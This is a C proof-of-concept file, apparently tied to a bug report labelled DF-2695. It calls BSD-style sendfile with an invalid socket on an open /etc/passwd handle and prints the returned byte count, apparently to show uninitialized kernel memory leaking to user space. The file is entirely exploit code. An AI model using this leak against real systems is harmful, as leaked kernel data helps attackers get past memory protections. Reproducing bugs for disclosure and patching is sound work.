DF-2695 / leak3.c
#include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #include <netinet/in.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> static void hit(const char *what){ int fd=open("/etc/passwd",O_RDONLY); off_t sbytes=0; sendfile(fd,-1,0,0,NULL,&sbytes,0); printf("%-16s leaked sbytes=0x%016llx\n",what,(unsigned long long)sbytes); close(fd); } int main(void){ hit("open+sendfile"); hit("open+sendfile"); /* vary: socket() just before */ int fd=open("/etc/passwd",O_RDONLY); for(int i=0;i<6;i++){ int s=socket(AF_INET,SOCK_STREAM,0); off_t sbytes=0; sendfile(fd,-1,0,0,NULL,&sbytes,0); printf("sock+sendfile leaked sbytes=0x%016llx\n",(unsigned long long)sbytes); close(s); } return 0; } |